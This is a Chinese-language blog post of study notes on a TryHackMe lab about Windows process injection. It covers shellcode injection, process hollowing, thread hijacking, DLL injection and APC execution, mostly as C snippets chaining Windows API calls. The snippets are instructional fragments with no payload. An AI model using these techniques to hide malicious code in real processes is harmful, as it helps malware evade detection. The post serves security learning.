tryhackme——Abusing Windows Internals(进程注入)

文章目录

一、Abusing Processes

操作系统上运行的应用程序可以包含一个或多个进程,进程表示正在执行的程序。进程包含许多其他子组件,并且直接与内存或虚拟内存交互,下表描述了进程的每个关键组件及其用途。

Process Component Purpose
私有虚拟地址空间 进程分配的虚拟内存地址
可执行程序 存储在虚拟地址空间中的代码和数据
打开句柄(open handle) 定义进程可访问的系统资源句柄
安全上下文 访问令牌定义用户、安全组、权限和其他安全信息
进程 ID 进程的唯一数字标识符
线程 进程中计划执行的部分

进程注入指通过合法功能或组件将恶意代码注入进程。下面将重点介绍以下四种不同类型的进程注入。

进程注入类型 功能
Process Hollowing(进程镂空 创建一个目标进程(通常是合法进程,如svchost.exe)并将其主模块(如exe映像)从内存中"挖空"(替换为恶意代码)。
Thread Execution Hijacking(线程执行劫持) 挂起目标进程的某个线程,修改其上下文(如指令指针EIP/RIP)指向注入的恶意代码,恢复线程后执行恶意逻辑。
Dynamic-link Library Injection(DLL注入) 将恶意DLL加载到目标进程内存中,并通过远程线程(如LoadLibrary调用)或修改导入表使其执行。
Portable Executable Injection(PE注入) 将恶意可执行文件(PE)的映像直接写入目标进程内存,并手动执行(无需通过LoadLibrary)。

进程注入采用Shellcode注入的形式,可以分为四个步骤:

  • 打开一个拥有所有访问权限的目标进程。
  • 为Shellcode分配目标进程内存。
  • 将Shellcode写入目标进程中已分配的内存。
  • 使用远程线程执行Shellcode。

上述步骤也可以图形化地分解,以描述Windows API调用如何与进程内存交互。

实现一个基本shellcode注入器的基本步骤如下:

1、通过OpenProcess获取目标进程的句柄(handle);

c 复制代码
processHandle = OpenProcess(
	PROCESS_ALL_ACCESS, // Defines access rights
	FALSE, // Target handle will not be inhereted
	DWORD(atoi(argv[1])) // Local process supplied by command-line arguments 
);

2、使用VirtualAllocEx在目标进程中分配内存 ;

c 复制代码
remoteBuffer = VirtualAllocEx(
	processHandle, // Opened target process
	NULL, 
	sizeof shellcode, // Region size of memory allocation
	(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

3、使用WriteProcessMemory在目标内存中写入Shellcode;

c 复制代码
WriteProcessMemory(
	processHandle, // Opened target process
	remoteBuffer, // Allocated memory region
	shellcode, // Data to write
	sizeof shellcode, // byte size of data
	NULL
);

4、使用CreateRemoteThread执行Shellcode;

c 复制代码
remoteThread = CreateRemoteThread(
	processHandle, // Opened target process
	NULL, 
	0, // Default size of the stack
	(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
	NULL, 
	0, // Ran immediately after creation
	NULL
);

二、进程镂空

Process Hollowing是进程注入的一种方法,能够将整个恶意文件注入进程,具体则是hollowing或取消进程映射,并将特定的 PE(可移植可执行文件)数据和段注入进程。其大致可分为六个步骤:

  1. 创建一个处于挂起状态的目标进程;
  2. 打开恶意映像;
  3. 从进程内存中取消合法代码的映射;
  4. 为恶意代码分配内存位置,并将每个段写入地址空间;
  5. 设置恶意代码的入口点;
  6. 使目标进程退出挂起状态。

该过程可用下图表示:

实现Process Hollowing的基本步骤如下:

1、启动一个合法进程(如svchost.exe),但主线程处于挂起状态,此时进程内存已初始化但未执行代码。

c 复制代码
LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointer

if (CreateProcessA(
	(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
	NULL,
	NULL,
	NULL,
	TRUE, // Handles are inherited from the calling process
	CREATE_SUSPENDED, // New process is suspended
	NULL,
	NULL,
	target_si, // pointer to startup info
	target_pi) == 0) { // pointer to process information
	cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
	return 1;

2、使用CreateFileA获取恶意映像的句柄。

c 复制代码
HANDLE hMaliciousCode = CreateFileA(
	(LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image to obtain
	GENERIC_READ, // Read-only access
	FILE_SHARE_READ, // Read-only share mode
	NULL,
	OPEN_EXISTING, // Instructed to open a file or device if it exists
	NULL,
	NULL
);

3、一旦获取到恶意映像的句柄,就必须使用VirtualAlloc为恶意文件分配本地内存,GetFileSize函数也用于检索恶意映像所需内存大小。

c 复制代码
DWORD maliciousFileSize = GetFileSize(
	hMaliciousCode, // Handle of malicious image
	0 // Returns no error
);

PVOID pMaliciousImage = VirtualAlloc(
	NULL,
	maliciousFileSize, // File size of malicious image
	0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
	0x04 // Enables read/write access (PAGE_READWRITE)
);

4、写入恶意文件

c 复制代码
DWORD numberOfBytesRead; // Stores number of bytes read

if (!ReadFile(
	hMaliciousCode, // Handle of malicious image
	pMaliciousImage, // Allocated region of memory
	maliciousFileSize, // File size of malicious image
	&numberOfBytesRead, // Number of bytes read
	NULL
	)) {
	cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
	TerminateProcess(target_pi->hProcess, 0);
	return 1;
}

CloseHandle(hMaliciousCode);

5、通过线程上下文获取PEB地址,进而读取原始EXE的基址。

CPU 寄存器 EAX(入口点)和 EBX(PEB 位置)包含我们需要获取的信息;这些信息可以通过使用GetThreadContext找到。找到这两个寄存器后,使用ReadProcessMemory从 EBX 获取基址,并通过检查 PEB 获得偏移量 (0x8)。

c 复制代码
c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(
	target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
	&c // Pointer to store retrieved context
); // Obtains the current thread context

PVOID pTargetImageBaseAddress; 
ReadProcessMemory(
	target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
	(PVOID)(c.Ebx + 8), // Pointer to the base address
	&pTargetImageBaseAddress, // Store target base address 
	sizeof(PVOID), // Bytes to read 
	0 // Number of bytes out
);

6、清空目标进程的原始代码/数据,形成"空洞"。可以使用从ntdll.dll导入的ZwUnmapViewOfSection来释放目标进程的内存

c 复制代码
HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
	hNtdllBase, // Handle of ntdll
	"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdll

DWORD dwResult = pZwUnmapViewOfSection(
	target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
	pTargetImageBaseAddress // Base address of the process
);

7、在Hollowed进程中为恶意进程分配内存。

c 复制代码
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanew

DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structure

PVOID pHollowAddress = VirtualAllocEx(
	target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
	pTargetImageBaseAddress, // Base address of the process
	sizeOfMaliciousImage, // Byte size obtained from optional header
	0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
	0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);

8、一旦分配了内存,将恶意PE头写入内存;

c 复制代码
if (!WriteProcessMemory(
	target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
	pTargetImageBaseAddress, // Base address of the process
	pMaliciousImage, // Local memory where the malicious file resides
	pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers 
	NULL
)) {
	cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}

9、写入恶意进程的各节区;

c 复制代码
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE data
	PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section header

	WriteProcessMemory(
		target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
		(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section 
		(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current section
		pSectionHeader->SizeOfRawData, // Byte size of current section
		NULL
	);
}

10、使用SetThreadContext将EAX更改为指向恶意入口点;

c 复制代码
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional header

SetThreadContext(
	target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
	&c // Pointer to the stored context structure
);

11、使用ResumeThread将进程从挂起状态中唤醒。

c 复制代码
ResumeThread(
	target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);

三、线程劫持

线程劫持可分为10个步骤:

  1. 定位并打开要控制的目标进程。
  2. 为恶意代码分配内存区域。
  3. 将恶意代码写入分配的内存。
  4. 识别要劫持的目标线程的线程 ID。
  5. 打开目标线程。
  6. 暂停目标线程。
  7. 获取线程上下文。
  8. 将指令指针更新为恶意代码。
  9. 重写目标线程上下文。
  10. 恢复被劫持的线程。

1、前三个步骤与常规进程注入步骤相同,可参考一下代码:

c 复制代码
// 打开目标进程
HANDLE hProcess = OpenProcess(
	PROCESS_ALL_ACCESS, // Requests all possible access rights
	FALSE, // Child processes do not inheret parent process handle
	processId // Stored process ID
);

// 为恶意代码分配内存区域
PVOIF remoteBuffer = VirtualAllocEx(
	hProcess, // Opened target process
	NULL, 
	sizeof shellcode, // Region size of memory allocation
	(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

// 将恶意代码写入分配的内存
WriteProcessMemory(
	processHandle, // Opened target process
	remoteBuffer, // Allocated memory region
	shellcode, // Data to write
	sizeof shellcode, // byte size of data
	NULL
);

2、通过识别线程ID来开始劫持进程线程。为了识别线程ID,我们需要使用三个Windows API调用:CreateToolhelp32Snapshot()Thread32First()Thread32Next()

c 复制代码
THREADENTRY32 threadEntry;

HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
	TH32CS_SNAPTHREAD, // Include all processes residing on the system
	0 // Indicates the current process
);
Thread32First( // Obtains the first thread in the snapshot
	hSnapshot, // Handle of the snapshot
	&threadEntry // Pointer to the THREADENTRY32 structure
);

while (Thread32Next( // Obtains the next thread in the snapshot
	snapshot, // Handle of the snapshot
	&threadEntry // Pointer to the THREADENTRY32 structure
)) {

3、打开目标线程

c 复制代码
if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match
		{
			HANDLE hThread = OpenThread(
				THREAD_ALL_ACCESS, // Requests all possible access rights
				FALSE, // Child threads do not inheret parent thread handle
				threadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer
			);
			break;
		}

4、使用SuspendThread挂起目标线程

c 复制代码
SuspendThread(hThread);

5、获取线程上下文;

c 复制代码
CONTEXT context;
GetThreadContext(
	hThread, // Handle for the thread 
	&context // Pointer to store the context structure
);

6、劫持目标线程执行流。线程恢复执行时,CPU将从Rip指向的地址(即Shellcode)开始执行,而非原代码逻辑。

c 复制代码
context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation

7、更新目标线程上下文;

c 复制代码
SetThreadContext(
	hThread, // Handle for the thread 
	&context // Pointer to the context structure
);

8、重启线程;

c 复制代码
ResumeThread(
	hThread // Handle for the thread
);

四、DLL注入

DLL注入总体可分为5个步骤:

  1. 找到要注入的目标进程。
  2. 打开目标进程。
  3. 为恶意 DLL 分配内存区域。
  4. 将恶意 DLL 写入分配的内存。
  5. 加载并执行恶意 DLL。

1、在 DLL 注入的第一步中,我们必须定位目标进程。可以使用如下三个Windows API函数:CreateToolhelp32Snapshot()Process32First()Process32Next()

c 复制代码
DWORD getProcessId(const char *processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
			TH32CS_SNAPPROCESS, // Include all processes residing on the system
			0 // Indicates the current process
		);
    if (hSnapshot) {
        PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure
        entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure
        if (Process32First( // Obtains the first process in the snapshot
					hSnapshot, // Handle of the snapshot
					&entry // Pointer to the PROCESSENTRY32 structure
				)) {
            do {
                if (!strcmp( // Compares two strings to determine if the process name matches
									entry.szExeFile, // Executable file name of the current process from PROCESSENTRY32
									processName // Supplied process name
								)) { 
                    return entry.th32ProcessID; // Process ID of matched process
                }
            } while (Process32Next( // Obtains the next process in the snapshot
							hSnapshot, // Handle of the snapshot
							&entry
						)); // Pointer to the PROCESSENTRY32 structure
        }
    }

DWORD processId = getProcessId(processName); // Stores the enumerated process ID

2、使用GetModuleHandle、GetProcAddress或OpenProcess打开该进程。

c 复制代码
HANDLE hProcess = OpenProcess(
	PROCESS_ALL_ACCESS, // Requests all possible access rights
	FALSE, // Child processes do not inheret parent process handle
	processId // Stored process ID
);

3、使用VirtualAllocEx为恶意 DLL 分配内存。

c 复制代码
LPVOID dllAllocatedMemory = VirtualAllocEx(
	hProcess, // Handle for the target process
	NULL, 
	strlen(dllLibFullPath), // Size of the DLL path
	MEM_RESERVE | MEM_COMMIT, // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

4、使用WriteProcessMemory将恶意DLL写入分配的内存位置。

c 复制代码
WriteProcessMemory(
	hProcess, // Handle for the target process
	dllAllocatedMemory, // Allocated memory region
	dllLibFullPath, // Path to the malicious DLL
	strlen(dllLibFullPath) + 1, // Byte size of the malicious DLL
	NULL
);

5、恶意 DLL 被写入内存后,加载并执行它。要加载该 DLL,我们需要使用从kernel32导入的LoadLibrary函数。加载完成后,可以使用CreateRemoteThread函数,以LoadLibrary作为启动函数来执行内存。

c 复制代码
LPVOID loadLibrary = (LPVOID) GetProcAddress(
	GetModuleHandle("kernel32.dll"), // Handle of the module containing the call
	"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(
	hProcess, // Handle for the target process
	NULL, 
	0, // Default size from the execuatable of the stack
	(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function
	dllAllocatedMemory, // pointer to the allocated memory region
	0, // Runs immediately after creation
	NULL
);

五、Memory Execution Alternatives

shellcode执行技术:

1、调用函数指针(Invoking Function Pointers

void 函数指针是一种非常新颖的内存块执行方法,它完全依赖于类型转换。这种技术只能在本地分配的内存中执行,但不依赖于任何API 调用或其他系统功能。

下面的单行代码是 void 函数指针最常见的形式,但我们可以进一步分解它来解释它的组成部分。

  • 创建一个函数指针 (void(*)()红色框出
  • 将分配的内存指针或 shellcode 数组强制转换为函数指针 (<function pointer>)addressPointer)黄色框出
  • 调用函数指针执行shellcode();绿色框出

2、异步过程调用(Asynchronous Procedure Calls

异步过程调用 (APC) 是在特定线程上下文中异步执行的函数。APC函数通过 QueueUserAPC排队到线程。排队后,APC函数将触发软件中断,并在下次线程调度时执行该函数。

为了让用户态/用户模式应用程序将APC函数排队,线程必须处于"可警告状态" 。可警告状态要求线程等待回调函数,例如WaitForSingleObjectSleep

现在我们了解了什么是 APC 函数,接下来看看它们是如何被恶意利用的!我们将使用VirtualAllocExWriteProcessMemory来分配和写入内存。

c 复制代码
QueueUserAPC(
	(PAPCFUNC)addressPointer, // APC function pointer to allocated memory defined by winnt
	pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure
	(ULONG_PTR)NULL
	);
ResumeThread(
	pinfo.hThread // Handle to thread from PROCESS_INFORMATION structure
);
WaitForSingleObject(
	pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure
	INFINITE // Wait infinitely until alerted
);

3、PE节区操纵(Section Manipulation

核心思想:利用PE文件的节区(如.text、.data)存储恶意代码,通过修改入口点或节区属性实现执行

PE格式定义了 Windows 中可执行文件的结构和格式。为了执行,我们主要关注节,特别是 .data 和 .text 节,此外,表和指向节的指针也常用于执行数据。

要开始使用任何节操作技术,我们需要获取 PE 转储。获取 PE 转储通常是通过将 DLL 或其他恶意文件输入到 xxd 中来实现的。每种方法的核心都是使用数学运算来遍历物理十六进制数据,并将其转换为 PE 数据。一些较为常见的技术包括 RVA 入口点解析、节映射和重定位表解析。

相关推荐
77238938 分钟前
解决 Microsoft Edge 显示“由你的组织管理”问题
前端·microsoft·edge
cpsvps2 小时前
美国服务器环境下Windows容器工作负载基于指标的自动扩缩
windows
网硕互联的小客服4 小时前
Apache 如何支持SHTML(SSI)的配置方法
运维·服务器·网络·windows·php
etcix5 小时前
implement copy file content to clipboard on Windows
windows·stm32·单片机
许泽宇的技术分享5 小时前
Windows MCP.Net:基于.NET的Windows桌面自动化MCP服务器深度解析
windows·自动化·.net
非凡ghost6 小时前
AMS PhotoMaster:全方位提升你的照片编辑体验
windows·学习·信息可视化·软件需求
mortimer8 小时前
一次与“顽固”外部程序的艰难交锋:subprocess 调用exe踩坑实录
windows·python·ai编程
gameatp10 小时前
从 Windows 到 Linux 服务器的全自动部署教程(免密登录 + 压缩 + 上传 + 启动)
linux·服务器·windows
穷人小水滴10 小时前
在 windows 运行 flatpak 应用 (WSL)
linux·windows·ubuntu
北十南1 天前
SODA自然美颜相机(甜盐相机国际版) v9.3.0
android·windows·数码相机